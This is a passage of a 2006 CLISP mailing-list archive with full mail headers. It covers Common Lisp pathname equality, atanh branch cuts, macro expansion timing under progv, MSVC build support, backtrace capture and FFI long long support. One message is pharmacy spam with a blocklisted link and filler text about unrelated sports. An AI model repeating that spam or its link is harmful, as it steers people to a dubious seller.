#P"/Am/I/a/pathname?") ==> PATHNAME ; or something like >> that. >> >> (type-of (print (truename #P"/Am/I/a/pathname?"))) ==> STRING >> > > I don't think so, and neither appears to do clisp (did you try the > expression?), nor CLHS: > > truename filespec => truename > > Arguments and Values: > filespec---a pathname designator. > truename---a physical pathname. > > print object &optional output-stream => object My bad. I was thinking of NAMESTRING and my brain was shut down. I think that the problem is what Stephen Compall pointed out. In Lispworks 1 > (truename (user-homedir-pathname)) #P"/Users/marcoxa/" CL-USER 2 > (describe *) #P"/Users/marcoxa/" is a PATHNAME HOST :UNSPECIFIC DEVICE :UNSPECIFIC DIRECTORY (:ABSOLUTE "Users" "marcoxa") NAME :UNSPECIFIC TYPE :UNSPECIFIC VERSION :UNSPECIFIC CL-USER 3 > (describe (user-homedir-pathname)) #P"/Users/marcoxa/" is a PATHNAME HOST NIL DEVICE NIL DIRECTORY (:ABSOLUTE "Users" "marcoxa") NAME NIL TYPE NIL VERSION NIL CL-USER 4 > > > Anyway, the truename was used above only as an example; > merge-pathnames works as well: > [18]> (equal (print (merge-pathnames #P"foo" #P"\\bar\\")) (print > #P"\\bar\\foo" > )) > > #P"\\bar\\foo" > #P"\\bar\\foo" > NIL > (on a Windows machine) > > Just for curiosity, > [21]> (equal #P"/foo/bar" #P"/foo/bar") > T > [22]> (eql #P"/foo/bar" #P"/foo/bar") > NIL > [23]> (eq #P"/foo/bar" #P"/foo/bar") > NIL This is not surprising. It is a consequence of the definition of EQ and EQL. Cheers -- Marco Antoniotti http://bioinformatics.nyu.edu/~marcoxa NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From raymond.toy@ericsson.com Fri Feb 03 08:42:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F540i-0006Rp-9z for clisp-list@lists.sourceforge.net; Fri, 03 Feb 2006 08:42:12 -0800 Received: from imr2.ericy.com ([198.24.6.3]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F540d-0002Cl-Pb for clisp-list@lists.sourceforge.net; Fri, 03 Feb 2006 08:42:12 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr2.ericy.com (8.13.1/8.13.1) with ESMTP id k13Gm3FS017977 for ; Fri, 3 Feb 2006 10:48:03 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id 1FX3X202; Fri, 3 Feb 2006 10:41:56 -0600 To: CLISP Mailing List From: Raymond Toy Message-ID: User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b24 (usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] atanh(-2)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 3 08:43:00 2006 X-Original-Date: Fri, 03 Feb 2006 11:41:54 -0500 Clisp 2.35 (sorry, I haven't upgraded to something newer) says (atanh -2) -> #c(-0.54930615 1.5707964) But (atanh #c(-2 1e-7)) -> #C(-0.54930615 -1.5707963) The CLHS entry for atanh says atanh is continuous with Quadrant III when the argument is on real axis and is less than -1. Ray From eermmett@azet.sk Sat Feb 04 00:28:46 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F5Imd-0001IE-4k for clisp-list@lists.sourceforge.net; Sat, 04 Feb 2006 00:28:39 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F5Ima-00085e-Qu for clisp-list@lists.sourceforge.net; Sat, 04 Feb 2006 00:28:39 -0800 Received: from [58.35.80.220] (helo=azet.sk) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1F5ImU-0000zG-P6 for clisp-list@lists.sourceforge.net; Sat, 04 Feb 2006 00:28:35 -0800 Message-ID: From: "blaine cloud" To: "Hung Mccord" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V10.0.2627 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: hter.org] Subject: [clisp-list] Fw: This curative shop contains a great selection of wt. shedding treatments. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 4 00:29:20 2006 X-Original-Date: Fri, 03 Feb 2006 20:26:57 -0800 To my other half, If you're still having worries about grabbing suitable merchandise, use this e-mail. Let's talk later, -----Original Message----- From: Keefe [mailto:kenichi@abncompany.com] Sent: Saturday, January 28, 2006 1:26 PM To: blaine cloud Subject: This curative shop contains a great selection of wt. shedding treatments. To my pal, blaine cloud, I bet you will be happy with this! As your most benevolent buddies, I so much don't wish those treatments cost you so much. Loads of people have had a past of suffering due to their physical conditions- and I think this site might be a way out. http://d.5.hter.org/gam/ You seriously should take a peek at this site and scout out the curative that are more reasonably priced than what you currently pay. If you enjoy a speedy mailing and having a clue where your order is, this place is just what you need. Just guess what my colleague just let me know about last time! He bake can tell clay you about the time in in Kentucky when he ran the football only 15 times for seven touchdowns and something like 350 yards. And his first prime-time game on ESPN in college. Initially, the colors were to represent the attributes of steel but, that proved confusing and were paw quickly changed to stand for the three materials used in steelmaking (yellow in the sun for coal, orange for iron ore, blue for scrap steel). the World Cup He didn't plan any celebration with family and friends on Sunday night. date cab "Freshman year at Alabama: Twenty carries, 291, four touchdowns. I had 274 on 19 carries and three touchdowns - that admit second half was unbelievable." OK, so how does this relate to speaker Mean once Joe Greene, Rod Woodson and Ben Roethlisberger? Statistically, his NFL career high-rise is a study in dizzying numbers: Since 2001, his first year air-conditioner as a starter, no one player in pro football has rushed for more yards (7,504) and scored more touchdowns whale (98). Yet, until recently, he may tease as present well have been a galloping ghost to folks outside the behaviour Pacific Northwest, a salmon swimming upstream against a strong current of anonymity. Sports Illustrated may have said it best when its cover story featured a photograph of Alexander with the words: "Do You Know His Name?" glance Dan Rooney, the sign son of Steelers founder Art Rooney, liked Republic Steel's suggestion and agreed to adopt the Steelmark after the sadness American Iron and Steel Institute, which officially owned the symbol, gave its approval. Fame and fortune, purchase he said, "doesn't move me." No, that sort of emotional currency starts with his wife and their frighten two girls. He has grown since leaving Tuscaloosa, Ala., and despite some difficult times, "I wouldn't trade my time in Seattle for anything." encourage Helmet logos shoulder were nothing new in the NFL; the 1948 Rams were the first greet team to display them. I look forward to talking to you later, From svg@surnet.ru Mon Feb 06 13:53:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6EJ2-0006R9-PY for clisp-list@lists.sourceforge.net; Mon, 06 Feb 2006 13:53:56 -0800 Received: from titanik.surnet.ru ([195.54.2.9]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6EJ0-0002ii-QH for clisp-list@lists.sourceforge.net; Mon, 06 Feb 2006 13:53:56 -0800 Received: from disney.surnet.local ([10.128.1.85]) by titanik.surnet.ru (8.12.11/Joy) with ESMTP id k16LrqjU043355 for ; Tue, 7 Feb 2006 02:53:52 +0500 (YEKT) Received: from localhost (localhost [127.0.0.1]) by disney.surnet.local (Postfix) with ESMTP id 162D226755CB for ; Tue, 7 Feb 2006 02:53:52 +0500 (YEKT) Message-Id: <20060207.025351.214236219.svg@surnet.ru> To: clisp-list@lists.sourceforge.net From: Vladimir Sekissov X-Mailer: Mew version 4.2 on Emacs 22.0.50 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Difference in CLISP and CMUCL/SBCL behaviour Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 6 13:54:06 2006 X-Original-Date: Tue, 07 Feb 2006 02:53:51 +0500 (YEKT) Good day, Can somebody explain which implementation give the correct result running this code: (defvar *a* 1) (defmacro test-a () *a*) (progv '(*a*) '(2) (test-a)) CMUCL/SBCL answers: * (progv '(*a*) '(2) (test-a)) => 1 CLISP 2.33.83: [3]> (progv '(*a*) '(2) (test-a)) => 2 Best Regards, Vladimir Sekissov From pjb@informatimago.com Mon Feb 06 16:05:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6GLs-00083l-Mv for clisp-list@lists.sourceforge.net; Mon, 06 Feb 2006 16:05:00 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6GLq-0006ZH-VP for clisp-list@lists.sourceforge.net; Mon, 06 Feb 2006 16:05:00 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4C2CA58344; Tue, 7 Feb 2006 01:04:44 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 99F005833D; Tue, 7 Feb 2006 01:04:35 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 13B358328; Tue, 7 Feb 2006 01:04:34 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17383.58385.880257.514057@thalassa.informatimago.com> To: Vladimir Sekissov Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Difference in CLISP and CMUCL/SBCL behaviour In-Reply-To: <20060207.025351.214236219.svg@surnet.ru> References: <20060207.025351.214236219.svg@surnet.ru> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 6 16:06:01 2006 X-Original-Date: Tue, 7 Feb 2006 01:04:33 +0100 Vladimir Sekissov writes: > Good day, > > Can somebody explain which implementation give the correct result > running this code: > > (defvar *a* 1) > > (defmacro test-a () *a*) > > (progv '(*a*) '(2) > (test-a)) > > CMUCL/SBCL answers: > > * (progv '(*a*) '(2) (test-a)) > => 1 > > CLISP 2.33.83: > > [3]> (progv '(*a*) '(2) (test-a)) > => 2 In clisp 2.38: [10]> (progv '(*a*) '(2) (test-a)) 2 [11]> (defun f () (progv '(*a*) '(2) (test-a))) F [12]> (f) 1 [13]> Actually, I'm surprized that in an interpreted function we get 1, because (fdefinition 'f) shows the unexpanded code. But it behaves as in the case of compiled function: the macros are expanded, _before_ the execution, that is, before *a* is rebound by progv. [19]> (defmacro test-a () (print 'test-a) *a*) TEST-A [20]> (defun f () (progv '(*a*) '(2) (print 'prov) (test-a))) TEST-A F [21]> (f) PROV 1 [22]> (progv '(*a*) '(2) (print 'prov) (test-a)) PROV TEST-A 2 [23]> (compile 'f) TEST-A F ; NIL ; NIL [24]> (f) PROV 1 [25]> -- __Pascal Bourguignon__ http://www.informatimago.com/ "By filing this bug report you have challenged the honor of my family. Prepare to die!" From ampy@ich.dvo.ru Mon Feb 06 23:29:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6NHk-0008C3-4r for clisp-list@lists.sourceforge.net; Mon, 06 Feb 2006 23:29:12 -0800 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6NHi-0001aw-Hf for clisp-list@lists.sourceforge.net; Mon, 06 Feb 2006 23:29:12 -0800 Received: by chemi.ich.dvo.ru (Postfix, from userid 651) id F2475131B31; Tue, 7 Feb 2006 17:28:55 +1000 (VLAT) Received: from 192.168.8.116 (unknown [192.168.8.116]) by chemi.ich.dvo.ru (Postfix) with ESMTP id 08611134558; Tue, 7 Feb 2006 17:28:53 +1000 (VLAT) From: Arseny Slobodyuk X-Mailer: The Bat! (v1.60q) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <147171941671.20060207173245@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MS-VC users out there? In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03083429C3@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A03083429C3@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 6 23:30:02 2006 X-Original-Date: Tue, 7 Feb 2006 17:32:45 +1000 Hi, Joerg, I prefer MSVC version because: 1. MSVC6 is the tool for the main project at my job. So I know what to expect from it. CYGWIN consists of many libraries and often I spend too much time to CYGWIN itself, to configure it and install newest libraries etc. 2. I can use nice debugger which I familiar with to develop CLISP. Really, it is very convenient. 3. When I started to use CLISP, I planned to make windows native interface with MSVC to my lisp projects. Now I believe it is too complex task. But still, MSVC is closer to windows internals, it migh be imporant for windows-only project. I believe, as a multi - platform project, CLISP shouldn't drop MSVS support. -- Arseny From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 07 01:28:18 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6P90-00083q-Rx for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 01:28:18 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6P8z-0005QU-2K for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 01:28:18 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 7 Feb 2006 10:27:29 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <1MK77C4V>; Tue, 7 Feb 2006 10:27:28 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03084E9D04@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: svg@surnet.ru Subject: Re: [clisp-list] Difference in CLISP and CMUCL/SBCL behaviour MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 01:29:02 2006 X-Original-Date: Tue, 7 Feb 2006 10:27:21 +0100 Vladimir Sekissov >Can somebody explain which implementation give the correct result >running this code: It is my understanding that both behaviours are acknowledged by the Common Lisp standard. >(defmacro test-a () *a*) Here you manage to write an unportable program, because the environment of the test-a macros varies between calls/uses and Common Lisp allows some latitude about what time macros are expanded. It may be as early as DEFUN time. It may be as late as the canonic recursive EVAL-based interpreter. It may even vary in a single implementation, between interpreter and compiler (if I'm not mistaken). Do you have a particular problem to solve or are you investigating the meaning of some paragraphs of the CLHS and details of CL semantics? Perhaps you intended to use (defmacro test-a () '*a*) ; note quote Try it out. Your original macro inserts the literal value of *a* each time it's expanded, instead of a reference to *a* with the quoting version. Regards, Jorg Hohle. From ortmage@gmx.net Tue Feb 07 09:59:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6X7r-0004NS-V9 for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 09:59:39 -0800 Received: from mail.gmx.net ([213.165.64.21]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F6X7o-0002No-Iw for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 09:59:38 -0800 Received: (qmail invoked by alias); 07 Feb 2006 17:52:38 -0000 Received: from ec240-245-dhcp.colorado.edu (EHLO [128.138.240.245]) [128.138.240.245] by mail.gmx.net (mp029) with SMTP; 07 Feb 2006 18:52:38 +0100 X-Authenticated: #9558537 Message-ID: <43E8DE6D.7020107@gmx.net> From: Scott Williams User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] capturing backtraces (try 2) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 10:00:12 2006 X-Original-Date: Tue, 07 Feb 2006 10:52:45 -0700 So after some thought, I came up with this instead: (with-output-to-string (s) (block nil (handler-bind ((t #'(lambda (condition) (sys::print-backtrace :out s) (fresh-line s) (sys::pretty-print-condition condition s) (return)))) (error "foo")))) => ".....[giant backtrace omitted]....." This accomplishes what I want, but it seems hackish. Am I missing a more obvious solution? From ortmage@gmx.net Tue Feb 07 10:02:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6XAK-0004dw-Ao for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 10:02:12 -0800 Received: from mail.gmx.de ([213.165.64.21] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1F6XAG-00050Z-W7 for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 10:02:11 -0800 Received: (qmail invoked by alias); 07 Feb 2006 17:35:14 -0000 Received: from ec240-245-dhcp.colorado.edu (EHLO [128.138.240.245]) [128.138.240.245] by mail.gmx.net (mp001) with SMTP; 07 Feb 2006 18:35:14 +0100 X-Authenticated: #9558537 Message-ID: <43E8DA59.9020507@gmx.net> From: Scott Williams User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] capturing backtraces and continuing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 10:03:07 2006 X-Original-Date: Tue, 07 Feb 2006 10:35:21 -0700 (with-output-to-string (s) (let ((*error-output* s)) (abort-on-error (error "foo")))) => I can see that clisp aborts to the toplevel without finishing with-output-to-string, which is why the form returns nothing. I confess to knowing little about common lisp conditions and error handling. How do I wrap a function call so that any errors that occur during the function trigger a backtrace printed to a string, and execution continues as though the function had returned? From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 07 10:21:27 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6XSs-0006ro-8l for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 10:21:22 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6XSq-0007Re-5V for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 10:21:22 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 7 Feb 2006 19:21:02 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <1MK79X6S>; Tue, 7 Feb 2006 19:21:02 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03084EA314@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI long long support (was: MS-VC users out there?) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 10:22:08 2006 X-Original-Date: Tue, 7 Feb 2006 19:21:00 +0100 ampy@ich.dvo.ru wrote: >I prefer MSVC version because: >1. MSVC6 is the tool for the main project at my job. [...] >I believe, as a multi - platform project, CLISP shouldn't >drop MSVS support. Ok. I also saw that e.g. Bruno Haible did important modifications last year to still enable compilation with MSVC, so the CLISP team should continue to support it. And you guys can try out how MSVC behaves with CLISP CVS right now, that would give me feedback: o I just pushed some patches to have FFI:s/uint be compatible with the C long long type function argument and return conventions. Pascal Bourguignon reported this incompatibility over a year ago. CFFI disabled long-long support as a consequence. o I discovered a long standing bug in ffcall that probably lead all MS-VC builds not having ffi:s/uint64 support. That was plain stupid, it should have worked for years. Please build and report whether a) ffi:s/uint64 <-> long long works for you b) MS-VC works well with ffi:s/uint64 now. I think I need to add more testcases for ffi:s/uint64. Arseny, if you can confirm that MS-VC6 works fine these days, maybe you could close bug #1122606? Thanks for your help, Jorg. From fb@frank-buss.de Tue Feb 07 10:33:19 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6XeQ-00088q-F1 for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 10:33:18 -0800 Received: from moutng.kundenserver.de ([212.227.126.187]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6XeK-0004Pr-LQ for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 10:33:15 -0800 Received: from [81.173.176.246] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu6) with ESMTP (Nemesis), id 0ML29c-1F6XeH0lVM-0004RF; Tue, 07 Feb 2006 19:33:09 +0100 From: "Frank Buss" To: Subject: RE: [clisp-list] FFI long long support (was: MS-VC users out there?) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYsE2lXFJs9e0x9Q2mnuoN1F2LbggAAVu7A In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03084EA314@S4DE8PSAAGS.blf.telekom.de> Message-ID: <0ML29c-1F6XeH0lVM-0004RF@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 7 10:34:12 2006 X-Original-Date: Tue, 7 Feb 2006 19:33:09 +0100 > >I believe, as a multi - platform project, CLISP shouldn't > >drop MSVS support. I'm not sure, but doesn't Microsoft forbid to create GPL applications with their tools? -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From pjb@informatimago.com Tue Feb 07 15:30:17 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6cHf-0000Uw-D6 for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 15:30:07 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F6cHb-0000Sw-8E for clisp-list@lists.sourceforge.net; Tue, 07 Feb 2006 15:30:07 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1589D585BE; Wed, 8 Feb 2006 00:29:48 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 117DA582FA; 